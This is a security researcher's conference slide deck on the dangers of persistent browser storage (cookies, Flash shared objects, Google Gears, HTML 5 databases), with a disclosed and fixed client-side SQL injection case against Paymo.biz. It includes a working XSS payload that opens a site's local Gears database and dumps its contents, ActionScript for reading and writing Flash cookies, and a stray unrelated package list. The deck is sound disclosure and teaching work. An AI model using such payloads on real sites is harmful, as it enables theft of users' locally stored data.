A WOLF IN SHEEP'S CLOTHING
The Dangers of Persistent Web Browser Storage

Twitter Questions: @zcaler_sutton
Who Am I?

Company

- Zscaler – SaaS solution for web browser security
- VP, Security Research

Background

- SPI Dynamics – acquired by HP
- iDefense – acquired by VeriSign

Research

- Web security
- Client-side vulnerabilities
- Fuzzing
Overview

Background

Data Privacy
- HTTP Cookies
- Flash Local SharedObjects

Data Integrity and Confidentiality
- Gears
- HTML 5 Structured Client Side Storage

Future
Background

ROCK BOTTOM
You'll Know It When You Get There.
Evolution of Web Applications

Largely static, site generated content
Web 1.0

Dynamic, user generated content
Web 2.0

Offline web applications
Web 3.0

2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 ...

Time
 Warner/ AOL merger

Dot com bubble bursts

Google IPO

O’Reilly Media Web 2.0 Conference

Google Gears released

Safari 3.1 supports HTML 5 database storage

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## Browser Storage

### HTTP Cookies
- Initially supported by Mosaic Netscape v0.9 beta – released Oct. 13, 1994
- Internet Explorer v2.0 support in Oct. 1995
- Primarily used for personalization/tracking
- RFC 2109 recommends minimum storage capacity of 4KB per cookie

### Flash Local Shared Objects
- First introduced in Flash Player 6.0
- User controlled settings to manage ‘Flash cookies’ introduced in Flash Player 8.0
- Default storage capacity of 100KB

### (Google) Gears
- Launched May 31, 2007
- Full local relational database

### HTML 5 Database Storage
- Supported by Safari 3.1, released March 18, 2007
- Full local relational database
HTTP Cookies

use Geant4Runtime v2r51p1 IExternal
use ebfExt v2r301p3 IExternal
use xmlGeoDbs v1r15
use RootPolicy v2r1p2
use astro v0r6p1
use geometry v3r1
use facilities v2r7p2
use xml v4r3p1
use xmlUtil v2r10p2
use idents v2r10p1
use detModel v2r14p1
use Event v9r11
use GlastSvc v9r10p1
use mcRootData v2r11p5
use digiRootData v5r0p0
use reconRootData v4r3p3
use commonRootData v0r2p2

Linux
If you've ever built a TV set from scratch, you'll love Linux
HTTP Cookies

Origin
- Mosaic Netscape v0.9 beta – Oct. 13, 1994
- Patented by Netscape in 1995

Purpose
- Primarily used for tracking
- Allow sites to identify a combination of user, browser and computer

Details
- Restricted by same origin policy
- RFC 2109 - HTTP State Management Mechanism
  - At least 4096 bytes per cookie
  - At least 20 cookies per unique host
  - Controllable expiration

Abuse
- Cookie hijacking
- Cookie poisoning
Persistent csXSS

G E E K S
When you're this dedicated, who cares if you never get any ass?
Sony Persistent csXSS

<table>
<thead>
<tr>
<th>Website</th>
<th>Name</th>
<th>Path</th>
<th>Secure</th>
<th>Expires</th>
<th>Contents</th>
</tr>
</thead>
<tbody>
<tr>
<td>.sony.com</td>
<td>s_sq</td>
<td>/</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>.sony.com</td>
<td>s_vl</td>
<td>/</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>.sony.com</td>
<td>s_cc</td>
<td>/</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td><a href="http://www.sony.com">www.sony.com</a></td>
<td>NSC_XXX.tpo` .dpn–mc–80</td>
<td>/</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td><a href="http://www.sony.com">www.sony.com</a></td>
<td>JSESSIONID</td>
<td>/SonySearch</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td><a href="http://www.sony.com">www.sony.com</a></td>
<td>sonysearch_recent_searches</td>
<td>/SonySearch</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Twitter Questions: zscaler_sutton

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Sony Persistent csXSS
Persistent csXSS

Unique Aspects

• Persistent only on client
• Automatically triggered whenever page is revisited

Attack Potential

• Leverage for user-specific XSS attacks
• Not possible with traditional persistent XSS
• Inform attacker whenever you’ve returned to a site
• Timing is an issue with attacks such as CSRF

Prevalence

• Surprisingly common, especially on sites which feature a search history
Flash Local SharedObjects

MAINTENANCE
After 20 years, it's just not that pretty anymore.
# Flash LSOs

## Origin
- Flash Player 6.0 – March 2002
- Flash Player 8.0 - User controlled settings to manage ‘Flash cookies’

## Purpose
- Primarily used for tracking/default settings
- Larger capacity permits use for additional purposes
- Popular – my laptop currently has LSOs from 102 domains – all from regular browsing

## Details
- Default storage of 100K → can be unlimited
- No expiration
- Difficult to delete – not tied to browser caches

## Abuse
- Cookie hijacking
- Cookie poisoning
- Data leakage
What’s Stored in Flash LSO’s?

- **Tracking Identifiers**
  - Most common

- **Configuration Settings**
  - Typical on audio/video streaming sites

- **Authentication Credentials**
  - Pandora (Encoded password)

- **Easter Eggs**
  - “Hey. You’ve just found another easter egg. Congrats - you gained nothing :)!”
  - Portal – Flash game by Armor Games
Flash Player provides the ability to use shared objects, which are ActionScript objects that persist outside of a SWF file, either locally on a user’s file system or remotely on an RTMP server. Shared objects, like other media in Flash Player, are partitioned into security sandboxes. However, the sandbox model for shared objects is somewhat different, because shared objects are not resources that can ever be accessed across domain boundaries. Instead, shared objects are always retrieved from a shared object store that is particular to the domain of each SWF file that calls methods of the SharedObject class. Usually a shared object store is even more particular than a SWF file’s domain: by default, each SWF file uses a shared object store particular to its entire origin URL, even if it’s not a domain. "We worked quickly to implement a fix for the issue recently reported in Orkut. We also took steps to help prevent similar problems in the future. Service to Orkut was not disrupted during this time."
# Flash LSO Storage Locations

<table>
<thead>
<tr>
<th>Platform</th>
<th>Storage Location</th>
</tr>
</thead>
<tbody>
<tr>
<td>Windows XP</td>
<td><code>$user\Application Data\Macromedia\Flash Player\#SharedObjects</code>.</td>
</tr>
<tr>
<td>Windows Vista</td>
<td><code>$user\AppData\Roaming\Macromedia\Flash Player\#SharedObjects</code>.</td>
</tr>
<tr>
<td>Mac OS X</td>
<td><code>~/Library/Preferences/Macromedia/Flash Player/#SharedObjects</code>.</td>
</tr>
<tr>
<td>Linux</td>
<td><code>/home/$user/.macromedia/Flash_Player/#SharedObjects</code>.</td>
</tr>
</tbody>
</table>
LSO Files

Format

- Binary files
- *.sol extension
- Store text data

SharedObject readers

- FD3
- SOLReader

User Control

- Website Storage Settings in Flash Player Settings Manager
- Firefox add-ons – Objection, Better Privacy
Reading/Writing From/To Flash Cookies

Limitations

• Same origin policy
• Origin determined by path
  • Sites can write LSO’s at a predefined level (e.g. `SharedObject.getLocal("zscaler", "/")`)

Requirements

• Ability to upload SWF files
  • Increasingly common on Web 2.0 sites
• Victim must visit site with uploaded content
package {

import flash.net.SharedObject;
import flash.display.Sprite;

public class zscaler extends Sprite {
    private var user:SharedObject;
    private var firstname:String;
    private var lastname:String;
    public function zscaler() {

        user = SharedObject.getLocal("z scaler");
        firstname = "Michael";
        lastname = "Sutton";

        user.data.firstname = firstname;
        user.data.lastname = lastname;

        user.flush();
    }
}
}
public function zscaler() {
    var label:TextField;

    user = SharedObject.getLocal("zscaler");

    firstname = user.data.firstname;
    lastname = user.data.lastname;

    label = new TextField();
    label.autoSize = TextFieldAutoSize.LEFT;
    label.background = true;
    label.border = true;
    label.text = "Firstname: " + firstname + "\nLastname: " + lastname;

    addChild(label);

    user.flush();
}
Reading From a Flash Cookie
Pros/Cons of Flash Cookies

**Pros**

- Model increases complexity of cookie stealing
- Sandboxing limits scope of attacks – similar to HTTP cookies

**Cons**

- Greater default storage capacity (100KB) – increases likelihood that storage will be used for sensitive data
- Difficult to delete
- No expiration
(Google) Gears

COMIC CONS
The only place in the world where you needn't be ashamed of your virginity or your love of otaku cosplay... even at thirty.

TheGreatGeekManual.com
Gears

Origin
- Launched as Google Gears on May 31, 2007
- ‘Google’ dropped from project title on 1st anniversary

Purpose
- Initial – “offline-enabling applications”
- Overall – “close the gap between web apps and native apps by giving the browser new capabilities”

Details
- Primary components:
  - LocalServer – Local HTTP/HTTPS capable server for delivering content
  - Database – Local implementation of SQLite relational database for storing content
  - WorkerPool – Run resource intensive JavaScript in the background to improve performance

Abuse
- Data confidentiality
- Data integrity
Gears Activation

- User must permit Gears access

- SQLite database installed on local file system
# Gears Storage Locations

<table>
<thead>
<tr>
<th>Platform</th>
<th>Internet Explorer</th>
<th>Firefox</th>
<th>Google Chrome</th>
<th>Google Gears for Firefox</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Windows XP</strong></td>
<td>C:\Documents and Settings&lt;user&gt;\Local Settings\Application Data\Google\Google Gears for Internet Explorer</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td><strong>Windows Vista</strong></td>
<td>C:\Users&lt;user&gt;\AppData\LocalLow\Google\Google Gears for Internet Explorer</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td><strong>Mac OS X:</strong></td>
<td>Users&lt;user&gt;\Library\Caches\Firefox\Profiles{PROFILE}.default/Google Gears for Firefox</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td><strong>Linux</strong></td>
<td>&lt;user&gt;../mozilla/firefox/{PROFILE}.default/Google Gears for Firefox</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td><strong>Windows Mobile</strong></td>
<td>Mobile Internet Explorer: Application Data\Google\Google Gears for Internet Explorer</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Twitter Questions:** zscaler_sutton
csSQLi

UNEMPLOYMENT
sucks when your job gets blow'd up
**csSQLi**

**Definition**
- Ability to read/write to/from a database stored on a client machine

**Facilitator**
- Browser databases are accessed via JavaScript
- XSS on a vulnerable site can expose any web browser to csSQLi, regardless of patch level

**Targets**
- Gears
- HTML 5
A Big Thank You To Paymo.biz

Timeline
- Feb 4 – Vulnerability reported to Paymo.biz
- Feb. 5 – Initial response requesting additional information
- Feb. 5-9 – Additional Correspondence
- Feb. 9 – Fix implemented

Thank You
- Paymo went out of their way quickly respond to the reported vulnerability in order to protect their clients. They were gracious and a pleasure to work with. Web application vendors everywhere can learn from their example.
- …and they offered a free year of service! How’s that for gratitude.
Paymo Injection Point

<h2>SQLi</h2>

<p><strong>Client</strong> <a href="/clients/view/?id=16392">Default Client</a></p>

<p>***<strong>injection_point</strong>***</p>

<div style="float: left; padding-bottom: 10px;">
  • Within paragraph tag
  • Tag will need to be closed </p>
Read Paymo Data

1. Close paragraph tag
2. Include Gears API
3. Open existing local database
4. Execute SQL query

```javascript
<script type="text/javascript"
src="http://code.google.com/apis/gears/gears_init.js"></script>
<script type="text/javascript">
var db = google.gears.factory.create('beta.database');
db.open('dot_store_http___zscaler_paymo_biz_client_2_0_client_html');
var data;
var rs = db.execute('SELECT * FROM __DOJO_STORAGE');
while (rs.isValidRow()) {
    data = data + (rs.field(0) + '@' + rs.field(1));
    data = data + '\n';
    rs.next();
}
alert(data);
rs.close();
</script>
```
Paymo csSQLi

The page at http://zscaler.paymo.biz says:

undefined dot@oldVersion
_dot@justDebugged
default@sessionId
default@userInfo
default@projects
default@entries_Wed_Feb_04_2009_00_00_00_GMT_0000__GMT_Standard_Time_
default@Wed_Feb_04_2009_00_00_00_GMT_0000__GMT_Standard_Time_Wed_Feb_04_2009_23_59_59_GMT_0000__GMT_Standard_Time_
default@Sun_Feb_01_2009_00_00_00_GMT_0000__GMT_Standard_Time_Wed_Feb_04_2009_23_59_59_GMT_0000__GMT_Standard_Time_
default@time_tracked_today
default@time_tracked_this_week
default@company_logo

OK
Gears csSQLi

BuiltIn SQLi Protection

• Secure → `db.execute('insert into MyTable values (?)', data);
• Insecure → `db.execute('insert into MyTable values (' + data + ')');``

Meaningless if a site is vulnerable to XSS

• 67% of sites likely to have XSS [Whitehat Security – December 2008]
SQLi vs csSQLi

**SQLi**
- Identify database structure through verbose error messages or brute force
- Online attacks
- SQL statement must be vulnerable

**csSQLi**
- Database structure is readily accessible
- Online and offline attacks
- XSS makes any site vulnerable, regardless of SQL syntax
csSQLi vs Cookie Theft

Question

• Couldn’t I access the same information by stealing a user’s cookie and accessing their online data?

Answer

• Cookie theft does not guarantee data access
  • Site may not use cookies for authentication
  • Additional ACLs (i.e. IP source address) would prevent access
  • Session credentials have expired or user has logged out
• Offline data does not have to mirror online data

Verdict

• No
Sites Using Gears

- Google Reader
- Passpack
- WordPress
- Zoho Writer
- mindmeister
- Buxfer
- Paymo time tracker
- Remember the milk
- Gmail

Twitter Questions: zscaler_sutton

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Pros/Cons of Gears

Pros

• Requires explicit user acceptance
• Has built in protections for vulnerabilities such as SQLi

Cons

• Despite default protections, being JavaScript based, it is open to attack should injection flaws such as XSS exist in the host application
• Implementing a secure technology on an insecure site invalidates the built in protections
• Increases the attack surface
  • csSQLi is a reality - Data can be remotely accessed from a local relational database
HTML 5
Structured Client Side Storage
HTML 5

Origin

- WHATWG began work on specification in 2004
- W3C published first public working draft Jan. 22, 2008

Purpose

- New markup, APIs, error handling, etc.
- Includes section on Structured Client-Side Storage

Details

- Session Storage – Similar to HTTP session cookies with greater flexibility
- Local Storage – Similar to HTTP persistent cookies with greater flexibility
- Database Storage – Local relational database

Abuse

- Data confidentiality
- Data integrity
HTML 5 Browser DB Support

- **Internet Explorer 8**
  - Supports session storage and local storage, not database storage

- **Firefox**
  - Supports session storage and local storage, not database storage

- **Safari 3.2x**
  - Full support

- **Opera**
  - No HTML 5 support

- **Chrome**
  - “Despite using the latest branch of...the local database features didn’t make it into Chrome’s first release...Chrome’s isolated sandbox system...would break the built-in WebKit database functionality...” [monkey_bites]
HTML 5 Database Storage Locations

Mac OS X

- /Users/[username]/Library/Safari/Databases

Others

- Currently, Webkit based browsers are the only ones supporting HTML Database Storage
HTML 5 csSQLi

Resources

• Paper by Alberto Trivero describes potential abuse of HTML 5 structured client side storage
• Various issues covered including csSQLi via XSS
  • Same overall issue as demonstrated in Paymo.biz example

Gears vs. HTML 5

• Blog postings from Google indicate a desire to ultimately make Gears compatible with the HTML 5 specification
## Comparison of Local Storage Technologies

<table>
<thead>
<tr>
<th>Feature</th>
<th>HTTP Cookies</th>
<th>Flash LSOs</th>
<th>Gears</th>
<th>HTML 5</th>
</tr>
</thead>
<tbody>
<tr>
<td>Explicit Acceptance</td>
<td>No</td>
<td>No</td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td>Storage Limit</td>
<td>4KB</td>
<td>Unlimited (100KB default)</td>
<td>Unlimited</td>
<td>Unlimited</td>
</tr>
<tr>
<td>Expiry</td>
<td>Custom</td>
<td>Never</td>
<td>Never</td>
<td>Never</td>
</tr>
<tr>
<td>File Format</td>
<td>Text</td>
<td>Binary</td>
<td>Binary (SQLite)</td>
<td>Binary (SQLite)</td>
</tr>
<tr>
<td>Deployment</td>
<td>Universal</td>
<td>Near universal</td>
<td>Minimal</td>
<td>Beta only</td>
</tr>
</tbody>
</table>
How Gears and HTML 5 Change the Game for Attackers

Offline

• Targets can be attacked regardless of current Internet connectivity
  • e.g. Offline - Phishing email read while from Gmail, linked clicked and Gears enabled application attacked

Open

• No need to determine data structure for SQLi – everyone has it

Attack surface

• Potentially confidential data moves from a single, centralized location (server) to potentially millions of individual locations (client)
  • All targets (clients) can be attacked from one location (web app w/ XSS vuln.)
Predictions

Adoption

- Expect increased adoption of Gears thanks to favorable exposure from Gmail integration
- HTML 5 and Gears are unlikely to compete – Google has already expressed a desire to make Gears compatible with the HTML 5 specification

Vulnerable Sites

- Sites will continue to push the limits of widely adopted technologies such as HTTP cookies and Flash LSOs, resulting in exploitable vulnerabilities
- A significant portion of sites adopting local database technologies will have injection flaws that leave them open to attack

Attacks

- Attack prevalence will increase in proportion to adoption rates
Questions?

I will use Google before asking dumb questions. I will use Google before asking dumb questions. I will use Google before asking dumb questions. I will use Google before asking dumb questions. I will use Google before asking dumb questions. I will use Google before asking dumb questions. I will use Google before asking dumb questions. I will use Google before asking dumb questions.

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